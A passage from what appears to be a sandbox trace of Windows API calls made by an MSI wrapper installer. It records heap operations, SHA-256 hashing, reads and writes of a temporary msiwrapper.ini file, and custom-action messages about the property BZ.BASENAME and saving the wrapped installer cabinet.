hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.781] CryptDestroyHash (hHash=0x5f66f8) returned 1 [0146.781] CryptReleaseContext (hProv=0x5f9730, dwFlags=0x0) returned 1 [0146.781] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.782] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.783] WriteFile (in: hFile=0x180, lpBuffer=0x5f64a2*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f64a2*, lpNumberOfBytesWritten=0x21df464*=0x126, lpOverlapped=0x0) returned 1 [0146.784] CloseHandle (hObject=0x180) returned 1 [0146.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9940 | out: hHeap=0x5c0000) returned 1 [0146.786] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.786] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x126 [0146.786] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x128) returned 0x340b60 [0146.786] ReadFile (in: hFile=0x180, lpBuffer=0x340b60, nNumberOfBytesToRead=0x126, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x340b60*, lpNumberOfBytesRead=0x21df458*=0x126, lpOverlapped=0x0) returned 1 [0146.786] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.786] CloseHandle (hObject=0x180) returned 1 [0146.787] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.787] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9730 [0146.787] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.787] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.787] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.790] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f97d8) returned 1 [0146.791] CryptCreateHash (in: hProv=0x5f97d8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0146.791] CryptHashData (hHash=0x5f66b8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.791] CryptHashData (hHash=0x5f66b8, pbData=0x5f64a0, dwDataLen=0x9e, dwFlags=0x0) returned 1 [0146.791] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0146.791] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.791] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.791] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0146.791] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.791] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.791] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.792] GetLastError () returned 0x0 [0146.792] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.792] GetLastError () returned 0x0 [0146.792] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.792] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.792] GetLastError () returned 0x0 [0146.792] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.793] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.793] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f99e8 [0146.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f99f8, cchWideChar=64 | out: lpWideCharStr="7c13e7019cd301f039178412a973d0df60f5415a80027639a9befbecdd44475fdc9763e3쏀") returned 0 [0146.793] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.793] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.794] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.794] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.794] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.794] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.794] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.794] CryptDestroyHash (hHash=0x5f66b8) returned 1 [0146.794] CryptReleaseContext (hProv=0x5f97d8, dwFlags=0x0) returned 1 [0146.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f99e8 | out: hHeap=0x5c0000) returned 1 [0146.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9730 | out: hHeap=0x5c0000) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.795] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d70, Size=0x30) returned 0x5f5858 [0146.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5858 | out: hHeap=0x5c0000) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.795] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f9730) returned 1 [0146.796] CryptCreateHash (in: hProv=0x5f9730, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0146.797] CryptHashData (hHash=0x5f66f8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.797] CryptHashData (hHash=0x5f66f8, pbData=0x5f64a0, dwDataLen=0xc6, dwFlags=0x0) returned 1 [0146.797] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.797] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.797] GetLastError () returned 0x0 [0146.797] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.797] GetLastError () returned 0x0 [0146.798] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.798] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.798] GetLastError () returned 0x0 [0146.798] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.798] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.798] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.798] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9940 [0146.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9950, cchWideChar=64 | out: lpWideCharStr="e20f66515151098c3c1fcfc56b0af14e9630784957b297f7038ec225f30b26ee") returned 0 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.799] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.800] CryptDestroyHash (hHash=0x5f66f8) returned 1 [0146.800] CryptReleaseContext (hProv=0x5f9730, dwFlags=0x0) returned 1 [0146.800] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.800] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.801] WriteFile (in: hFile=0x180, lpBuffer=0x5f64a2*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f64a2*, lpNumberOfBytesWritten=0x21df464*=0x14e, lpOverlapped=0x0) returned 1 [0146.802] CloseHandle (hObject=0x180) returned 1 [0146.806] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9940 | out: hHeap=0x5c0000) returned 1 [0146.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x5f9730 [0146.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.806] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.806] MsiCreateRecord (cParams=0x2) returned 0x15 [0146.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.808] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0146.808] MsiRecordSetStringW (hRecord=0x15, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.BASENAME") returned 0x0 [0146.809] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x15) returned 0 [0146.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0146.817] MsiCloseHandle (hAny=0x15) returned 0x0 [0146.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.818] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.BASENAME", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0146.823] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340ef8 [0146.823] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.BASENAME", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="install.exe", pcchValueBuf=0x21df470) returned 0x0 [0146.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5f5858 [0146.825] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.825] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.825] MsiCreateRecord (cParams=0x2) returned 0x16 [0146.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.826] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0146.826] MsiRecordSetStringW (hRecord=0x16, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=install.exe") returned 0x0 [0146.827] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x16) returned 0 [0146.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0146.831] MsiCloseHandle (hAny=0x16) returned 0x0 [0146.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.833] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.833] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14e [0146.834] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x150) returned 0x340b60 [0146.834] ReadFile (in: hFile=0x180, lpBuffer=0x340b60, nNumberOfBytesToRead=0x14e, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x340b60*, lpNumberOfBytesRead=0x21df458*=0x14e, lpOverlapped=0x0) returned 1 [0146.834] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.834] CloseHandle (hObject=0x180) returned 1 [0146.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0146.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.835] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0146.836] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0146.836] CryptHashData (hHash=0x5f66b8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.836] CryptHashData (hHash=0x5f66b8, pbData=0x5f64a0, dwDataLen=0xc6, dwFlags=0x0) returned 1 [0146.836] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0146.836] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.836] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.836] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0146.836] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.837] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.837] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.837] GetLastError () returned 0x0 [0146.837] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.837] GetLastError () returned 0x0 [0146.837] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.838] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.838] GetLastError () returned 0x0 [0146.838] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.838] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.838] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9ab0 [0146.838] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9ac0, cchWideChar=64 | out: lpWideCharStr="e20f66515151098c3c1fcfc56b0af14e9630784957b297f7038ec225f30b26ee") returned 0 [0146.838] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.839] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.839] CryptDestroyHash (hHash=0x5f66b8) returned 1 [0146.839] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0146.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9ab0 | out: hHeap=0x5c0000) returned 1 [0146.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0146.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d70, Size=0x30) returned 0x5f6648 [0146.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6648 | out: hHeap=0x5c0000) returned 1 [0146.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.841] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0146.842] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0146.842] CryptHashData (hHash=0x5f66f8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.843] CryptHashData (hHash=0x5f66f8, pbData=0x5f64a0, dwDataLen=0xf0, dwFlags=0x0) returned 1 [0146.843] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0146.843] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.843] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.843] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0146.843] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.843] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.843] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.844] GetLastError () returned 0x0 [0146.844] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.844] GetLastError () returned 0x0 [0146.844] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.844] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.844] GetLastError () returned 0x0 [0146.844] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.844] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.845] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9a08 [0146.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9a18, cchWideChar=64 | out: lpWideCharStr="9fb41c9b65eee7e2b52f4388cd78f1c65a644515a4e30d610d1ce074c301899a") returned 0 [0146.845] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.846] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.846] CryptDestroyHash (hHash=0x5f66f8) returned 1 [0146.846] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0146.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.847] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.848] WriteFile (in: hFile=0x180, lpBuffer=0x5f64a2*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f64a2*, lpNumberOfBytesWritten=0x21df464*=0x178, lpOverlapped=0x0) returned 1 [0146.849] CloseHandle (hObject=0x180) returned 1 [0146.852] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9a08 | out: hHeap=0x5c0000) returned 1 [0146.853] MsiCreateRecord (cParams=0x2) returned 0x17 [0146.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.854] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0146.854] MsiRecordSetStringW (hRecord=0x17, iField=0x0, szValue="-- CUSTOM ACTION -- Save wrapped installer cabinet") returned 0x0 [0146.855] MsiProcessMessage (hInstall=0x1, 